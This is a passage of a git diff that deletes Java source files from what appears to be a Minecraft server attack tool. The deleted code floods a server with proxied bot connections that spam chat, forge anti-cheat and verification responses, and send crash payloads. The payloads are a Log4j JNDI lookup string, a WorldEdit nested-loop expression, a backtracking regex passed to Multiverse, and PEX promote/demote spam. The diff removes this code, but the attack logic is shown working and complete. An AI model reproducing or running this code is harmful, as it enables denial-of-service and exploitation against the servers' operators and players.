com.github.steveice10.packetlib.event.session.*; -import com.github.steveice10.packetlib.packet.Packet; -import io.netty.util.internal.ConcurrentSet; -import net.kyori.adventure.text.Component; -import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; - -import java.io.OutputStream; -import java.net.InetSocketAddress; -import java.net.Proxy; -import java.net.Socket; -import java.util.*; -import java.util.concurrent.ExecutorService; -import java.util.concurrent.Executors; - -public class NewBotAttack extends IAttack { - public static HashMap clientName = new HashMap<>(); - public static int failed = 0; - public static int rejoin = 0; - public static int clickVerifies = 0; - public static List alivePlayers = new ArrayList<>(); - public static List rejoinPlayers = new ArrayList<>(); - public static List joinedPlayers = new ArrayList<>(); - public static HashMap positionPacket = new HashMap<>(); - public static HashMap newPositionPacket = new HashMap<>(); - protected boolean attack_motdbefore; - protected boolean attack_tab; - protected Map modList; - - private Thread mainThread; - private Thread taskThread; - - public Set clients = new ConcurrentSet<>(); - public ExecutorService pool = Executors.newCachedThreadPool(); - - private static final AntiCheat3 ac3 = new AntiCheat3(); - private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat(); - - private long starttime; - - public NewBotAttack(String ip, int port, int time, int maxconnect, long joinsleep) { - super(ip, port, time, maxconnect, joinsleep); - } - - public void setBotConfig(boolean motdbefore, boolean tab, Map modList) { - this.attack_motdbefore = motdbefore; - this.attack_tab = tab; - this.modList = modList; - } - - public String getRandMessage(String userName) { - return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName))); - } - - public void start() { - setTask(() -> { - while (true) { - List tempList = new ArrayList<>(alivePlayers); - - for (Session c:tempList) { - if (c.isConnected()) { - if (c.hasFlag("login")) { - if (ConfigUtil.ChatSpam && !c.hasFlag("chatSpam")) { - c.setFlag("chatSpam", true); - - while (c.isConnected()) { - try { - if (ProtocolLibs.adaptAfter760) { - VersionSupport760.sendChatPacket(c, getRandMessage(clientName.get(c))); - } else if (ProtocolLibs.adaptAfter759) { - VersionSupport759.sendChatPacket(c, getRandMessage(clientName.get(c))); - } else if (ProtocolLibs.adaptAfter758) { - VersionSupport758.sendChatPacket(c, getRandMessage(clientName.get(c))); - } else { - c.send(new ClientChatPacket(getRandMessage(clientName.get(c)))); - } - } catch (Exception ignored) {} - - OtherUtils.doSleep(ConfigUtil.ChatDelay); - } - } - - if (ConfigUtil.RandomTeleport && !c.hasFlag("randomTeleport")) { - c.setFlag("randomTeleport", true); - - new Thread(() -> { - while (c.isConnected()) { - if (ProtocolLibs.adaptAfter758) { - ClientboundPlayerPositionPacket positionRotationPacket = newPositionPacket.get(c); - - if (c.isConnected() && positionRotationPacket != null) { - VersionSupport758.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - OtherUtils.doSleep(500); - VersionSupport758.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - } else { - OtherUtils.doSleep(1000); - } - } else { - ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c); - - if (c.isConnected() && positionRotationPacket != null) { - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - OtherUtils.doSleep(500); - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - } else { - OtherUtils.doSleep(1000); - } - } - } - }).start(); - } - - if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) { - c.setFlag("crasher", true); - - LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher"); - - new Thread(() -> { - switch (ConfigUtil.ServerCrasherMode) { - case 1: - LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher"); - break; - case 2: - String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}"; - - if (ProtocolLibs.adaptAfter760) { - VersionSupport760.sendChatPacket(c, log4jExploit); - } else if (ProtocolLibs.adaptAfter759) { - VersionSupport759.sendChatPacket(c, log4jExploit); - } else if (ProtocolLibs.adaptAfter758) { - VersionSupport758.sendChatPacket(c, log4jExploit); - } else { - c.send(new ClientChatPacket(log4jExploit)); - } - break; - case 3: - String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}"; - - if (ProtocolLibs.adaptAfter760) { - VersionSupport760.sendChatPacket(c, worldEdit); - } else if (ProtocolLibs.adaptAfter759) { - VersionSupport759.sendChatPacket(c, worldEdit); - } else if (ProtocolLibs.adaptAfter758) { - VersionSupport758.sendChatPacket(c, worldEdit); - } else { - c.send(new ClientChatPacket(worldEdit)); - } - - break; - case 4: - String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^"; - - if (ProtocolLibs.adaptAfter760) { - VersionSupport760.sendChatPacket(c, multiverseCore); - } else if (ProtocolLibs.adaptAfter759) { - VersionSupport759.sendChatPacket(c, multiverseCore); - } else if (ProtocolLibs.adaptAfter758) { - VersionSupport758.sendChatPacket(c, multiverseCore); - } else { - c.send(new ClientChatPacket(multiverseCore)); - } - - break; - case 5: - String pex_1 = "/pex promote a a"; - String pex_2 = "/pex demote a a"; - while (c.isConnected()) { - if (ProtocolLibs.adaptAfter760) { - VersionSupport760.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2); - } else if (ProtocolLibs.adaptAfter759) { - VersionSupport759.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2); - } else if (ProtocolLibs.adaptAfter758) { - VersionSupport758.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2); - } else { - c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2)); - } - - OtherUtils.doSleep(2000); - } - break; - default: - LogUtil.doLog(1, "ServerCrasher Mode设置有误,请检查配置文件。", null); - break; - } - }).start(); - } - - if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) { - c.setFlag("tabAttack", true); - - new Thread(() -> { - while (c.isConnected()) { - if (ProtocolLibs.adaptAfter758) { - VersionSupport758.sendTabPacket(c, "/"); - } else { - MultiVersionPacket.sendTabPacket(c, "/"); - } - OtherUtils.doSleep(100); - } - }).start(); - } - } else if (c.hasFlag("join")) { - if (ConfigUtil.RegisterAndLogin) { - try { - for (String cmd:ConfigUtil.RegisterCommands) { - OtherUtils.doSleep(ConfigUtil.ChatDelay); - - if (ProtocolLibs.adaptAfter760) { - VersionSupport760.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))); - } else if (ProtocolLibs.adaptAfter759) { - VersionSupport759.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))); - } else if (ProtocolLibs.adaptAfter758) { - VersionSupport758.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))); - } else { - c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); - } - } - - LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack"); - - c.setFlag("login", true); - } catch (Exception ignored) {} - } else { - c.setFlag("login", true); - } - } - } else { - alivePlayers.remove(c); - } - } - } - }); - - this.starttime = System.currentTimeMillis(); - - mainThread = new Thread(() -> { - while (true) { - try { - createClients(ip, port); - - if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { - for (Session c : clients) { - c.disconnect(""); - } - stop(); - return; - } - - OtherUtils.doSleep(ConfigUtil.ConnectTimeout); - LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); - cleanClients(); - } catch (Exception e) { - LogUtil.doLog(1, "发生错误: " + e, null); - } - } - }); - - mainThread.start(); - if (taskThread != null) { - taskThread.start(); - } - } - - @SuppressWarnings("deprecation") - public void stop() { - mainThread.stop(); - if (taskThread != null) { - taskThread.stop(); - } - } - - public void setTask(Runnable task) { - taskThread = new Thread(task); - } - - private void cleanClients() { - for (Session client:clients) { - if (!client.isConnected()) { - positionPacket.remove(client); - alivePlayers.remove(client); - clientName.remove(client); - clients.remove(client); - } else { - if (!alivePlayers.contains(client) && (client.hasFlag("login") || client.hasFlag("join"))) { - alivePlayers.add(client); - } - } - } - } - - private void createClients(final String ip, int port) { - Proxy.Type proxyType; - switch (ConfigUtil.ProxyType) { - case 3: - case 2: - proxyType = Proxy.Type.SOCKS; - break; - case 1: - default: - proxyType = Proxy.Type.HTTP; - break; - } - - while (clients.size() <= this.attack_maxconnect) { - for (String p: ProxyUtil.proxies) { - try { - if (!EndMinecraftPlusV2.isLinux) { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); - } - - String[] _p = p.split(":"); - Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); - String[] User = AttackManager.getRandomUser().split("@"); - Session client = createClient(ip, port, User[0], proxy); - client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - clientName.put(client, User[0]); - clients.add(client); - - pool.submit(() -> { - if (this.attack_motdbefore) { - getMotd(proxy, ip, port); - } - - client.connect(false); - }); - - if (this.attack_joinsleep > 0) { - OtherUtils.doSleep(attack_joinsleep); - } - } catch (Exception e) { - LogUtil.doLog(1, "发生错误: " + e, null); - } - } - } - } - - public Session createClient(final String ip, int port, final String username, Proxy proxy) { - Session client; - - String proxyStr = String.valueOf(proxy.address()).replace("/", ""); - String[] proxyAddress = proxyStr.split(":"); - ProxyInfo.Type proxyType; - - switch (ConfigUtil.ProxyType) { - case 2: - proxyType = ProxyInfo.Type.SOCKS4; - break; - case 3: - proxyType = ProxyInfo.Type.SOCKS5; - break; - case 1: - default: - proxyType = ProxyInfo.Type.HTTP; - break; - } - - ProxyInfo proxyInfo = new ProxyInfo(proxyType, new InetSocketAddress(proxyAddress[0], Integer.parseInt(proxyAddress[1]))); - client = VersionSupport754.getSession(ip, port, username, proxyInfo); - - if (ConfigUtil.ForgeSupport) { - modList.putAll(ConfigUtil.ForgeModList); - new MCForge(client, this.modList).init(); - } - - client.addListener(new SessionListener() { - public void packetReceived(PacketReceivedEvent e) { - new Thread(() -> { - if (ProtocolLibs.adaptAfter758) { - newHandlePacket(e.getSession(), e.getPacket(), username); - } else { - handlePacket(e.getSession(), e.getPacket(), username); - } - }).start(); - } - - public void packetReceived(Session session, Packet packet) { - new Thread(() -> { - if (ProtocolLibs.adaptAfter758) { - newHandlePacket(session, packet, username); - } else { - handlePacket(session, packet, username); - } - }).start(); - } - - public void packetSending(PacketSendingEvent packetSendingEvent) { - - } - - public void packetSent(Session session, Packet packet) { - - } - - public void packetSent(PacketSentEvent packetSentEvent) { - - } - - public void packetError(PacketErrorEvent packetErrorEvent) { - - } - - public void connected(ConnectedEvent e) { - if (ConfigUtil.SaveWorkingProxy) { - ProxyUtil.saveWorkingProxy(proxy); - } - } - - public void disconnecting(DisconnectingEvent e) { - } - - public void disconnected(DisconnectedEvent e) { - new Thread(() -> { - String msg; - - if (e.getCause() == null) { - msg = e.getReason(); - - if (ProtocolLibs.adaptAfter754) { - // Component component = GsonComponentSerializer.gson().deserialize(msg); - Component component = PlainTextComponentSerializer.plainText().deserialize(msg); - msg = PlainTextComponentSerializer.plainText().serialize(component); - } - - LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack"); - - for (String rejoinDetect:ConfigUtil.RejoinDetect) { - if (rejoinPlayers.contains(username)) { - break; - } - - if (msg.contains(rejoinDetect)) { - rejoinPlayers.add(username); - - for (int i = 0; i < ConfigUtil.RejoinCount; i++) { - OtherUtils.doSleep(ConfigUtil.RejoinDelay); - - Session rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); - rejoinClient.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - rejoinClient.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - - rejoin++; - LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); - clientName.put(rejoinClient, username); - clients.add(rejoinClient); - rejoinClient.connect(false); - - if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) { - rejoinPlayers.remove(username); - break; - } - } - - rejoinPlayers.remove(username); - } - } - } else if (ConfigUtil.ShowFails) { - LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack"); - } - - failed++; - alivePlayers.remove(client); - }).start(); - } - }); - return client; - } - - public void getMotd(Proxy proxy, String ip, int port) { - try { - Socket socket = new Socket(proxy); - socket.connect(new InetSocketAddress(ip, port)); - - if (socket.isConnected()) { - OutputStream out = socket.getOutputStream(); - out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01}); - out.write(new byte[]{0x01, 0x00}); - out.flush(); - } - - socket.close(); - } catch (Exception ignored) {} - } - - protected void handlePacket(Session session, Packet recvPacket, String username) { - if (recvPacket instanceof ServerPluginMessagePacket) { - ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket; - switch (packet.getChannel()) { - case "AntiCheat3.4.3": - String code = ac3.uncompress(packet.getData()); - byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, - new String[]{"44f6bc86a41fa0555784c255e3174260"}); - session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData)); - break; - case "anotherstaranticheat": - String salt = asac.decodeSPacket(packet.getData()); - byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt); - session.send(new ClientPluginMessagePacket("anotherstaranticheat", data)); - break; - case "VexView": - if (new String(packet.getData()).equals("GET:Verification")) - session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes())); - break; - } - } else if (recvPacket instanceof ServerJoinGamePacket) { - session.setFlag("join", true); - LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); - joinedPlayers.add(session); - - if (!alivePlayers.contains(session)) { - alivePlayers.add(session); - } - - MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); - MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1); - } else if (recvPacket instanceof ServerPlayerPositionRotationPacket) { - try { - ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; - MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw()); - session.send(new ClientPlayerMovementPacket(true)); - MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet); - positionPacket.put(session, packet); - } catch (Exception ignored) {} - - } else if (recvPacket instanceof ServerChatPacket) { - ServerChatPacket chatPacket = (ServerChatPacket) recvPacket; - Map result = VersionSupport754.clickVerifiesHandle(chatPacket, session, ConfigUtil.ClickVerifiesDetect, null); - - if (result.get("result").contains("true")) { - LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack"); - clickVerifies++; - } - - if (!joinedPlayers.contains(session)) { - joinedPlayers.add(session); - } - - if (ConfigUtil.ShowServerMessages && !result.get("msg").equals("")) { - LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack"); - } - } else if (recvPacket instanceof ServerKeepAlivePacket) { - ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId()); - session.send(keepAlivePacket); - } - } - - protected void newHandlePacket(Session session, Packet recvPacket, String username) { - if (recvPacket instanceof ClientboundCustomPayloadPacket) { - ClientboundCustomPayloadPacket packet = (ClientboundCustomPayloadPacket) recvPacket; - switch (packet.getChannel()) { - case "AntiCheat3.4.3": - String code = ac3.uncompress(packet.getData()); - byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, - new String[]{"44f6bc86a41fa0555784c255e3174260"}); - session.send(new ServerboundCustomPayloadPacket("AntiCheat3.4.3", checkData)); - break; - case "anotherstaranticheat": - String salt = asac.decodeSPacket(packet.getData()); - byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt); - session.send(new ServerboundCustomPayloadPacket("anotherstaranticheat", data)); - break; - case "VexView": - if (new String(packet.getData()).equals("GET:Verification")) - session.send(new ServerboundCustomPayloadPacket("VexView", "Verification:1.8.10".getBytes())); - break; - default: - } - } else if (recvPacket instanceof ClientboundLoginPacket) { - session.setFlag("join", true); - LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); - joinedPlayers.add(session); - - if (!alivePlayers.contains(session)) { - alivePlayers.add(session); - } - - VersionSupport758.sendClientSettingPacket(session, "zh_CN"); - VersionSupport758.sendClientPlayerChangeHeldItemPacket(session, 1); - } else if (recvPacket instanceof ClientboundKeepAlivePacket) { - ServerboundKeepAlivePacket keepAlivePacket = new ServerboundKeepAlivePacket(((ClientboundKeepAlivePacket) recvPacket).getPingId()); - session.send(keepAlivePacket); - if (!alivePlayers.contains(session)) { - alivePlayers.add(session); - } - } else if (recvPacket instanceof ClientboundPlayerPositionPacket) { - try { - ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket; - VersionSupport758.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw()); - session.send(new ServerboundMovePlayerStatusOnlyPacket(true)); - VersionSupport758.sendClientTeleportConfirmPacket(session, packet); - newPositionPacket.put(session,packet); - } catch (Exception ignored) {} - } else if (ProtocolLibs.adaptAfter760 && VersionSupport760.checkServerChatPacket(recvPacket)) { - Map result = VersionSupport760.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null); - - if (result.get("result").contains("true")) { - LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack"); - clickVerifies++; - } - - if (!joinedPlayers.contains(session)) { - joinedPlayers.add(session); - } - - if (ConfigUtil.ShowServerMessages) { - LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack"); - } - } else if (VersionSupport759.checkServerChatPacket(recvPacket)) { - Map result = VersionSupport759.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null); - - if (result.get("result").contains("true")) { - LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack"); - clickVerifies++; - } - - if (!joinedPlayers.contains(session)) { - joinedPlayers.add(session); - } - - if (ConfigUtil.ShowServerMessages) { - LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack"); - } - } else if (VersionSupport758.checkServerChatPacket(recvPacket)) { - Map result = VersionSupport758.clickVerifiesHandle(recvPacket, session, ConfigUtil.ClickVerifiesDetect, null); - - if (result.get("result").contains("true")) { - LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack"); - clickVerifies++; - } - - if (!joinedPlayers.contains(session)) { - joinedPlayers.add(session); - } - - if (ConfigUtil.ShowServerMessages) { - LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack"); - } - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewDoubleAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewDoubleAttack.java deleted file mode 100644 index 7cad519..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewDoubleAttack.java +++ /dev/null @@ -1,58 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; - -import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; -import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; -import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs; -import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundLoginPacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket; -import com.github.steveice10.packetlib.Session; -import com.github.steveice10.packetlib.packet.Packet; - -import java.net.Proxy; - -public class NewDoubleAttack extends NewBotAttack { - private String username; - private Integer totalTimes = 0; - private Integer runTimes = 0; - - public NewDoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) { - super(ip, port, time, maxconnect, joinsleep); - } - - public void setUsername(String username) { - this.username = username; - } - - public Session createClient(String ip, int port, String username, Proxy proxy) { - totalTimes++; - return super.createClient(ip, port, this.username, proxy); - } - - protected void handlePacket(Session session, Packet recvPacket, String username) { - super.handlePacket(session, recvPacket, username); - if (recvPacket instanceof ServerJoinGamePacket) { - session.disconnect("Double Exploit - Connection Reset!"); - if (ProtocolLibs.adaptAfter754) { - LogUtil.doLog(0, "Double Exploit - Connection Reset!", "DoubleAttack"); - } - - runTimes++; - if (!EndMinecraftPlusV2.isLinux) { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次"); - } - } - } - - protected void newHandlePacket(Session session, Packet recvPacket, String username) { - super.newHandlePacket(session, recvPacket, username); - if (recvPacket instanceof ClientboundLoginPacket) { - session.disconnect("Double Exploit - Connection Reset!"); - LogUtil.doLog(0, "Double Exploit - Connection Reset!", "DoubleAttack"); - runTimes++; - if (!EndMinecraftPlusV2.isLinux) { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次"); - } - } - } -} \ No newline at end of file diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForge.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForge.java deleted file mode 100644 index 9b9dc82..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForge.java +++ /dev/null @@ -1,188 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; - -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs; -import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; -import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundCustomPayloadPacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; -import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundCustomPayloadPacket; -import com.github.steveice10.packetlib.Session; -import com.github.steveice10.packetlib.event.session.*; -import com.github.steveice10.packetlib.packet.Packet; - -import java.lang.reflect.Field; -import java.util.Arrays; -import java.util.Map; - -public class MCForge { - private final MCForgeHandShake handshake; - - public Map modList; - public Session session; - - public MCForge(Session session, Map modList) { - this.modList = modList; - this.session = session; - this.handshake = isAfterVersion1_13() ? new MCForgeHandShakeV2(this) : new MCForgeHandShakeV1(this); - } - - public void init() { - if (ProtocolLibs.adaptAfter758) { - this.session.addListener(new SessionListener() { - public void packetReceived(PacketReceivedEvent e) { - if (e.getPacket() instanceof ClientboundCustomPayloadPacket) { - handle(e.getPacket()); - } else if (e.getPacket().getClass().getSimpleName().equals("ClientboundCustomQueryPacket")) { - handshake.newHandle(e.getPacket()); - } - } - - public void packetReceived(Session session, Packet packet) { - if (packet instanceof ClientboundCustomPayloadPacket) { - newHandle((ClientboundCustomPayloadPacket) packet); - } else if (packet.getClass().getSimpleName().equals("ClientboundCustomQueryPacket")) { - handshake.newHandle(packet); - } - } - - public void packetSending(PacketSendingEvent packetSendingEvent) { - - } - - public void packetSent(Session session, Packet packet) { - - } - - public void packetError(PacketErrorEvent packetErrorEvent) { - - } - - public void packetSent(PacketSentEvent e) { - } - - public void connected(ConnectedEvent e) { - modifyHost(); - } - - public void disconnecting(DisconnectingEvent e) { - } - - public void disconnected(DisconnectedEvent e) { - } - }); - } else { - this.session.addListener(new SessionListener() { - public void packetReceived(PacketReceivedEvent e) { - if (e.getPacket() instanceof ServerPluginMessagePacket) { - handle(e.getPacket()); - } else if (e.getPacket().getClass().getSimpleName().equals("LoginPluginRequestPacket")) { - handshake.handle(e.getPacket()); - } - } - - public void packetReceived(Session session, Packet packet) { - if (packet instanceof ServerPluginMessagePacket) { - handle((ServerPluginMessagePacket) packet); - } else if (packet.getClass().getSimpleName().equals("LoginPluginRequestPacket")) { - handshake.handle(packet); - } - } - - public void packetSending(PacketSendingEvent packetSendingEvent) { - - } - - public void packetSent(Session session, Packet packet) { - - } - - public void packetError(PacketErrorEvent packetErrorEvent) { - - } - - public void packetSent(PacketSentEvent e) { - } - - public void connected(ConnectedEvent e) { - modifyHost(); - } - - public void disconnecting(DisconnectingEvent e) { - } - - public void disconnected(DisconnectedEvent e) { - } - }); - } - } - - public void handle(ServerPluginMessagePacket packet) { - switch (packet.getChannel()) { - case "FML|HS": - this.handshake.handle(packet); - break; - case "REGISTER": - case "minecraft:register": - this.session.send(new ClientPluginMessagePacket(packet.getChannel(), packet.getData())); - break; - case "MC|Brand": - case "minecraft:brand": - this.session.send(new ClientPluginMessagePacket(packet.getChannel(), "fml,forge".getBytes())); - break; - } - - // System.out.println(packet.getChannel() + " | " + Arrays.toString(packet.getData())); - } - - public void newHandle(ClientboundCustomPayloadPacket packet) { - switch (packet.getChannel()) { - case "FML|HS": - this.handshake.handle(packet); - break; - case "REGISTER": - case "minecraft:register": - this.session.send(new ServerboundCustomPayloadPacket(packet.getChannel(), packet.getData())); - break; - case "MC|Brand": - case "minecraft:brand": - this.session.send(new ServerboundCustomPayloadPacket(packet.getChannel(), "fml,forge".getBytes())); - break; - } - } - - public void modifyHost() { - try { - Class cls = this.session.getClass().getSuperclass(); - - Field field = cls.getDeclaredField("host"); - field.setAccessible(true); - - field.set(this.session, this.session.getHost() + "\0" + handshake.getFMLVersion() + "\0"); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public static boolean isVersion1710() { - return (getProtocolVersion() == 5); - } - - public static boolean isAfterVersion1_13() { - return ((getProtocolVersion() >= 393 || getProtocolVersion() == -1)); - } - - public static int getProtocolVersion() { - try { - Class cls; - try { - cls = Class.forName("com.github.steveice10.mc.protocol.ProtocolConstants"); - } catch (ClassNotFoundException e) { - cls = Class.forName("com.github.steveice10.mc.protocol.MinecraftConstants"); - } - - Field field = cls.getDeclaredField("PROTOCOL_VERSION"); - return field.getInt(null); - } catch (Exception e) { - return -1; - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShake.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShake.java deleted file mode 100644 index b3ad5e3..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShake.java +++ /dev/null @@ -1,15 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; - -import com.github.steveice10.packetlib.packet.Packet; - -public abstract class MCForgeHandShake { - protected MCForge forge; - - public MCForgeHandShake(MCForge forge) { - this.forge = forge; - } - - public abstract void handle(Packet recvPacket); - public abstract void newHandle(Packet recvPacket); - public abstract String getFMLVersion(); -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV1.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV1.java deleted file mode 100644 index fda37da..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV1.java +++ /dev/null @@ -1,132 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; - -import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; -import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundCustomPayloadPacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; -import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundCustomPayloadPacket; -import com.github.steveice10.packetlib.Session; -import com.github.steveice10.packetlib.io.stream.StreamNetOutput; -import 